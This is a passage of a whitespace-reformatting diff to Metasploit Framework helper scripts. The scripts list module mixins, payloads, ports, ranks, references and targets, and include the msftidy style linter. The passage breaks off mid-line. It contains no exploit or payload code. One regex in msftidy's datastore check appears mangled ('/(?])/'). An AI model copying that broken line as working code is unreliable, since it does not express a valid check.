b/tools/module_mixins.rb index 573a122096d4..c9e8004177f3 100755 --- a/tools/module_mixins.rb +++ b/tools/module_mixins.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,11 +23,11 @@ require 'msf/base' def do_want(klass) - return false if klass.class != Module - return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass) - return false if klass.to_s.match(/^Rex::Ui::Subscriber/) + return false if klass.class != Module + return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass) + return false if klass.to_s.match(/^Rex::Ui::Subscriber/) - return true + return true end # Initialize the simplified framework instance. @@ -38,32 +38,32 @@ def do_want(klass) # If you give an argument (any argument will do), you really want a sorted # list of mixins, regardles of the module they're in. if ARGV[0] - mod_hash = {} - longest_name = 0 - all_modules.each_module do |name, mod| - x = mod.new - mixins = x.class.ancestors.select {|y| do_want(y) } - mixins.each do |m| - mod_hash[m] ||= 0 - mod_hash[m] += 1 - longest_name = m.to_s.size unless m.to_s.size < longest_name - end - end - mod_hash.sort_by {|a| a[1]}.reverse.each do |arr| - puts "%-#{longest_name}s | %d" % arr - end + mod_hash = {} + longest_name = 0 + all_modules.each_module do |name, mod| + x = mod.new + mixins = x.class.ancestors.select {|y| do_want(y) } + mixins.each do |m| + mod_hash[m] ||= 0 + mod_hash[m] += 1 + longest_name = m.to_s.size unless m.to_s.size < longest_name + end + end + mod_hash.sort_by {|a| a[1]}.reverse.each do |arr| + puts "%-#{longest_name}s | %d" % arr + end else - # Tables kind of suck for this. - results = [] - longest_name = 0 - all_modules.each_module do |name, mod| - x = mod.new - mixins = x.class.ancestors.select {|y| do_want(y) } - results << [x.fullname, mixins.sort {|a,b| a.to_s <=> b.to_s}.join(", ")] - longest_name = x.fullname.size if longest_name < x.fullname.size - end - # name | module1, module1, etc. - results.each do |r| - puts "%-#{longest_name}s | %s" % r - end + # Tables kind of suck for this. + results = [] + longest_name = 0 + all_modules.each_module do |name, mod| + x = mod.new + mixins = x.class.ancestors.select {|y| do_want(y) } + results << [x.fullname, mixins.sort {|a,b| a.to_s <=> b.to_s}.join(", ")] + longest_name = x.fullname.size if longest_name < x.fullname.size + end + # name | module1, module1, etc. + results.each do |r| + puts "%-#{longest_name}s | %s" % r + end end diff --git a/tools/module_payloads.rb b/tools/module_payloads.rb index 3770c653d879..1f1c19a5d5bd 100755 --- a/tools/module_payloads.rb +++ b/tools/module_payloads.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -26,10 +26,10 @@ $framework = Msf::Simple::Framework.create('DisableDatabase' => true) $framework.exploits.each_module { |name, mod| - x = mod.new + x = mod.new - x.compatible_payloads.map{|n, m| - puts "#{x.refname.ljust 40} - #{n}" - } + x.compatible_payloads.map{|n, m| + puts "#{x.refname.ljust 40} - #{n}" + } } diff --git a/tools/module_ports.rb b/tools/module_ports.rb index 01ee477633b9..39048f2b57e9 100755 --- a/tools/module_ports.rb +++ b/tools/module_ports.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,26 +29,26 @@ all_ports = {} all_modules.each_module { |name, mod| - x = mod.new - ports = [] - - if x.datastore['RPORT'] - ports << x.datastore['RPORT'] - end - - if(x.respond_to?('autofilter_ports')) - x.autofilter_ports.each do |rport| - ports << rport - end - end - ports = ports.map{|p| p.to_i} - ports.uniq! - ports.sort{|a,b| a <=> b}.each do |rport| - # Just record the first occurance. - all_ports[rport] = x.fullname unless all_ports[rport] - end + x = mod.new + ports = [] + + if x.datastore['RPORT'] + ports << x.datastore['RPORT'] + end + + if(x.respond_to?('autofilter_ports')) + x.autofilter_ports.each do |rport| + ports << rport + end + end + ports = ports.map{|p| p.to_i} + ports.uniq! + ports.sort{|a,b| a <=> b}.each do |rport| + # Just record the first occurance. + all_ports[rport] = x.fullname unless all_ports[rport] + end } all_ports.sort.each { |k,v| - puts "%5s # %s" % [k,v] + puts "%5s # %s" % [k,v] } diff --git a/tools/module_rank.rb b/tools/module_rank.rb index 2c11ded34021..65fd257ea49c 100755 --- a/tools/module_rank.rb +++ b/tools/module_rank.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -42,53 +42,53 @@ opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-M" => [ true, "Set Maxmimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Excellent)." ], - "-m" => [ true, "Set Minimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Manual)."], - "-s" => [ false, "Sort by Rank instead of Module Type."], - "-r" => [ false, "Reverse Sort by Rank"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-h" => [ false, "Help menu." ], + "-M" => [ true, "Set Maxmimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Excellent)." ], + "-m" => [ true, "Set Minimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Manual)."], + "-s" => [ false, "Sort by Rank instead of Module Type."], + "-r" => [ false, "Reverse Sort by Rank"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Rank information." - puts "==========================================================" - puts opts.usage - exit - when "-M" - unless ranks.include?(val) - puts "Invalid Rank Supplied: #{val}" - puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" - exit - end - puts "Maximum Rank: #{val}" - maxrank = ranks[val] - when "-m" - unless ranks.include?(val) - puts "Invalid Rank Supplied: #{val}" - puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" - exit - end - puts "Minimum Rank: #{val}" - minrank = ranks[val] - when "-s" - puts "Sorting by Rank" - sort = 1 - when "-r" - puts "Reverse Sorting by Rank" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Rank information." + puts "==========================================================" + puts opts.usage + exit + when "-M" + unless ranks.include?(val) + puts "Invalid Rank Supplied: #{val}" + puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" + exit + end + puts "Maximum Rank: #{val}" + maxrank = ranks[val] + when "-m" + unless ranks.include?(val) + puts "Invalid Rank Supplied: #{val}" + puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" + exit + end + puts "Minimum Rank: #{val}" + minrank = ranks[val] + when "-s" + puts "Sorting by Rank" + sort = 1 + when "-r" + puts "Reverse Sorting by Rank" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + + end } @@ -101,7 +101,7 @@ # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -109,27 +109,27 @@ tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Ranks', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Rank' ] + 'Header' => 'Module Ranks', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Rank' ] ) $framework.modules.each { |name, mod| - x = mod.new - modrank = x.rank - if modrank >= minrank and modrank<= maxrank - tbl << [ x.fullname, modrank ] - end + x = mod.new + modrank = x.rank + if modrank >= minrank and modrank<= maxrank + tbl << [ x.fullname, modrank ] + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_reference.rb b/tools/module_reference.rb index a2dd955da339..4f4d2c50ac7a 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -31,48 +31,48 @@ match= nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Reference instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], - "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], - "-x" => [ true, "String or RegEx to try and match against the Reference Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Reference instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], + "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], + "-x" => [ true, "String or RegEx to try and match against the Reference Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Reference information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by License" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-t" - unless types.include?(val) - puts "Invalid Type Supplied: #{val}" - puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" - exit - end - puts "Type: #{val}" - type = val - when "-x" - puts "Regex: #{val}" - match = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Reference information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by License" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-t" + unless types.include?(val) + puts "Invalid Type Supplied: #{val}" + puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" + exit + end + puts "Type: #{val}" + type = val + when "-x" + puts "Regex: #{val}" + match = Regexp.new(val) + end } @@ -86,7 +86,7 @@ # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -94,31 +94,31 @@ tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Reference' ] ) $framework.modules.each { |name, mod| - next if match and not name =~ match - - x = mod.new - x.references.each do |r| - if type=='All' or type==r.ctx_id - ref = "#{r.ctx_id}-#{r.ctx_val}" - tbl << [ x.fullname, ref ] - end - end + next if match and not name =~ match + + x = mod.new + x.references.each do |r| + if type=='All' or type==r.ctx_id + ref = "#{r.ctx_id}-#{r.ctx_val}" + tbl << [ x.fullname, ref ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end diff --git a/tools/module_targets.rb b/tools/module_targets.rb index 40c4cb438cce..90712c87bc58 100755 --- a/tools/module_targets.rb +++ b/tools/module_targets.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -27,30 +27,30 @@ filter = "" opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Target instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-x" => [ true, "String or RegEx to try and match against the Targets field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Target instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-x" => [ true, "String or RegEx to try and match against the Targets field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Target information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Target" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-x" - puts "Filter: #{val}" - filter = val - fil=1 - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Target information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Target" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-x" + puts "Filter: #{val}" + filter = val + fil=1 + end } Indent = ' ' @@ -59,30 +59,30 @@ $framework = Msf::Simple::Framework.create('DisableDatabase' => true) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Targets', - 'Indent' => Indent.length, - 'Columns' => [ 'Module name','Target' ] + 'Header' => 'Module Targets', + 'Indent' => Indent.length, + 'Columns' => [ 'Module name','Target' ] ) all_modules = $framework.exploits all_modules.each_module { |name, mod| - x = mod.new - x.targets.each do |targ| - if fil==0 or targ.name=~/#{filter}/ - tbl << [ x.fullname, targ.name ] - end - end + x = mod.new + x.targets.each do |targ| + if fil==0 or targ.name=~/#{filter}/ + tbl << [ x.fullname, targ.name ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/msf_irb_shell.rb b/tools/msf_irb_shell.rb index a3ece8692096..46f9575d15aa 100755 --- a/tools/msf_irb_shell.rb +++ b/tools/msf_irb_shell.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 406c30b4639a..a32ba1df50b3 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -9,418 +9,418 @@ CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] if CHECK_OLD_RUBIES - require 'rvm' - warn "This is going to take a while, depending on the number of Rubies you have installed." + require 'rvm' + warn "This is going to take a while, depending on the number of Rubies you have installed." end class String - def red - "\e[1;31;40m#{self}\e[0m" - end + def red + "\e[1;31;40m#{self}\e[0m" + end - def yellow - "\e[1;33;40m#{self}\e[0m" - end + def yellow + "\e[1;33;40m#{self}\e[0m" + end - def ascii_only? - self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true - end + def ascii_only? + self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true + end end class Msftidy - LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long - - def initialize(source_file) - @source = load_file(source_file) - @name = source_file - end - - public - - ## - # - # The following two functions only print what you throw at them, - # with the option of displying the line number. error() is meant - # for mistakes that might actually break something. - # - ## - - def warn(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" - end - - def error(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" - end - - - ## - # - # The functions below are actually the ones checking the source code - # - ## - - def check_ref_identifiers - in_super = false - in_refs = false - - @source.each_line do |line| - if !in_super and line =~ /[\n\t]+super\(/ - in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ - in_super = false - break - end - - if in_super and line =~ /'References'[[:space:]]*=>/ - in_refs = true - elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m - break - elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ - identifier = $1.strip.upcase - value = $2.strip - - case identifier - when 'CVE' - warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4}$/ - when 'OSVDB' - warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ - when 'BID' - warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ - when 'MSB' - warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ - when 'MIL' - warn("milw0rm references are no longer supported.") - when 'EDB' - warn("Invalid EDB reference") if value !~ /^\d+$/ - when 'WVE' - warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ - when 'US-CERT-VU' - warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ - when 'URL' - if value =~ /^http:\/\/www\.osvdb\.org/ - warn("Please use 'OSVDB' for '#{value}'") - elsif value =~ /^http:\/\/cvedetails\.com\/cve/ - warn("Please use 'CVE' for '#{value}'") - elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// - warn("Please use 'BID' for '#{value}'") - elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// - warn("Please use 'MSB' for '#{value}'") - elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// - warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ - warn("Please use 'WVE' for '#{value}'") - elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// - warn("Please use 'US-CERT-VU' for '#{value}'") - end - end - end - end - end - - def check_snake_case_filename - sep = File::SEPARATOR - good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" - unless @name =~ good_name - warn "Filenames should be alphanum and snake case." - end - end - - def check_old_keywords - max_count = 10 - counter = 0 - if @source =~ /^##/ - @source.each_line do |line| - # If exists, the $Id$ keyword should appear at the top of the code. - # If not (within the first 10 lines), then we assume there's no - # $Id$, and then bail. - break if counter >= max_count - - if line =~ /^#[[:space:]]*\$Id\$/i - warn("Keyword $Id$ is no longer needed.") - break - end - - counter += 1 - end - end - - if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ - warn("Keyword $Revision$ is no longer needed.") - end - end - - def check_verbose_option - if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ - warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") - end - end - - def check_badchars - badchars = %Q|&<=>| - - in_super = false - in_author = false - - @source.each_line do |line| - # - # Mark our "super" code block - # - if !in_super and line =~ /[\n\t]+super\(/ - in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ - in_super = false - break - end - - # - # While in super() code block - # - if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ - # Now we're checking the module titlee - mod_title = $1 - mod_title.each_char do |c| - if badchars.include?(c) - error("'#{c}' is a bad character in module title.") - end - end - - if not mod_title.ascii_only? - error("Please avoid unicode or non-printable characters in module title.") - end - - # Since we're looking at the module title, this line clearly cannot be - # the author block, so no point to run more code below. - next - end - - # - # Mark our 'Author' block - # - if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/ - in_author = true - elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ - in_author = false - end - - - # - # While in 'Author' block, check for Twitter handles - # - if in_super and in_author - if line =~ /Author/ - author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' - else - author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' - end - - if author_name =~ /^@.+$/ - error("No Twitter handles, please. Try leaving it in a comment instead.") - end - - if not author_name.ascii_only? - error("Please avoid unicode or non-printable characters in Author") - end - end - end - end - - def check_extname - if File.extname(@name) != '.rb' - error("Module should be a '.rb' file, or it won't load.") - end - end - - def test_old_rubies(f_rel) - return true unless CHECK_OLD_RUBIES - return true unless Object.const_defined? :RVM - puts "Checking syntax for #{f_rel}." - rubies ||= RVM.list_strings - res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - error("Fails alternate Ruby version check") if rubies.size != res.size - end - - def check_ranking - return if @source !~ / \< Msf::Exploit/ - - available_ranks = [ - 'ManualRanking', - 'LowRanking', - 'AverageRanking', - 'NormalRanking', - 'GoodRanking', - 'GreatRanking', - 'ExcellentRanking' - ] - - if @source =~ /Rank \= (\w+)/ - if not available_ranks.include?($1) - error("Invalid ranking. You have '#{$1}'") - end - end - end - - def check_disclosure_date - return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ - - # Check disclosure date format - if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/ - d = $1 #Captured date - # Flag if overall format is wrong - if d =~ /^... \d{1,2}\,* \d{4}/ - # Flag if month format is wrong - m = d.split[0] - months = [ - 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', - 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' - ] - - error('Incorrect disclosure month format') if months.index(m).nil? - else - error('Incorrect disclosure date format') - end - else - error('Exploit is missing a disclosure date') - end - end - - def check_title_casing - if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ - words = $1.split - words.each do |word| - if %w{and or the for to in of as with a an on at via}.include?(word) - next - elsif %w{pbot}.include?(word) - elsif word =~ /^[a-z]+$/ - warn("Suspect capitalization in module title: '#{word}'") - end - end - end - end - - def check_bad_terms - # "Stack overflow" vs "Stack buffer overflow" - See explanation: - # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i - warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i - warn('Contains "stack overflow" You mean "stack exhaustion"?') - end - end - - def check_function_basics - functions = @source.scan(/def (\w+)\(*(.+)\)*/) - - functions.each do |func_name, args| - # Check argument length - args_length = args.split(",").length - warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 - end - end - - def check_lines - url_ok = true - no_stdio = true - in_comment = false - in_literal = false - src_ended = false - idx = 0 - - @source.each_line { |ln| - idx += 1 - - # block comment awareness - if ln =~ /^=end$/ - in_comment = false - next - end - in_comment = true if ln =~ /^=begin$/ - next if in_comment - - # block string awareness (ignore indentation in these) - in_literal = false if ln =~ /^EOS$/ - next if in_literal - in_literal = true if ln =~ /\<\<-EOS$/ - - # ignore stuff after an __END__ line - src_ended = true if ln =~ /^__END__$/ - next if src_ended - - if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ - error("Unicode detected: #{ln.inspect}", idx) - end - - if (ln.length > LONG_LINE_LENGTH) - warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) - end - - if ln =~ /[ \t]$/ - warn("Spaces at EOL", idx) - end - - # Allow tabs or spaces as indent characters, but not both. - # This should check for spaces only on October 8, 2013 - if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) - warn("Space-Tab mixed indent: #{ln.inspect}", idx) - end - - if ln =~ /\r$/ - warn("Carriage return EOL", idx) - end - - url_ok = false if ln =~ /\.com\/projects\/Framework/ - if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ - if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ - warn("File.open without binary mode", idx) - end - end - - if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ - error("Loading (not requiring) a file: #{ln.inspect}", idx) - end - - # The rest of these only count if it's not a comment line - next if ln =~ /[[:space:]]*#/ - - if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ - no_stdio = false - error("Writes to stdout", idx) - end - - # do not change datastore in code - if ln =~ /(?])/ - error("datastore is modified in code: #{ln.inspect}", idx) - end - } - end - - private - - def load_file(file) - f = open(file, 'rb') - buf = f.read(f.stat.size) - f.close - return buf - end + LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long + + def initialize(source_file) + @source = load_file(source_file) + @name = source_file + end + + public + + ## + # + # The following two functions only print what you throw at them, + # with the option of displying the line number. error() is meant + # for mistakes that might actually break something. + # + ## + + def warn(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" + end + + def error(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" + end + + + ## + # + # The functions below are actually the ones checking the source code + # + ## + + def check_ref_identifiers + in_super = false + in_refs = false + + @source.each_line do |line| + if !in_super and line =~ /[\n\t]+super\(/ + in_super = true + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + in_super = false + break + end + + if in_super and line =~ /'References'[[:space:]]*=>/ + in_refs = true + elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m + break + elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ + identifier = $1.strip.upcase + value = $2.strip + + case identifier + when 'CVE' + warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4}$/ + when 'OSVDB' + warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ + when 'BID' + warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ + when 'MSB' + warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ + when 'MIL' + warn("milw0rm references are no longer supported.") + when 'EDB' + warn("Invalid EDB reference") if value !~ /^\d+$/ + when 'WVE' + warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ + when 'US-CERT-VU' + warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ + when 'URL' + if value =~ /^http:\/\/www\.osvdb\.org/ + warn("Please use 'OSVDB' for '#{value}'") + elsif value =~ /^http:\/\/cvedetails\.com\/cve/ + warn("Please use 'CVE' for '#{value}'") + elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// + warn("Please use 'BID' for '#{value}'") + elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// + warn("Please use 'MSB' for '#{value}'") + elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// + warn("Please use 'EDB' for '#{value}'") + elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ + warn("Please use 'WVE' for '#{value}'") + elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// + warn("Please use 'US-CERT-VU' for '#{value}'") + end + end + end + end + end + + def check_snake_case_filename + sep = File::SEPARATOR + good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" + unless @name =~ good_name + warn "Filenames should be alphanum and snake case." + end + end + + def check_old_keywords + max_count = 10 + counter = 0 + if @source =~ /^##/ + @source.each_line do |line| + # If exists, the $Id$ keyword should appear at the top of the code. + # If not (within the first 10 lines), then we assume there's no + # $Id$, and then bail. + break if counter >= max_count + + if line =~ /^#[[:space:]]*\$Id\$/i + warn("Keyword $Id$ is no longer needed.") + break + end + + counter += 1 + end + end + + if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ + warn("Keyword $Revision$ is no longer needed.") + end + end + + def check_verbose_option + if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ + warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") + end + end + + def check_badchars + badchars = %Q|&<=>| + + in_super = false + in_author = false + + @source.each_line do |line| + # + # Mark our "super" code block + # + if !in_super and line =~ /[\n\t]+super\(/ + in_super = true + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + in_super = false + break + end + + # + # While in super() code block + # + if in_super and line 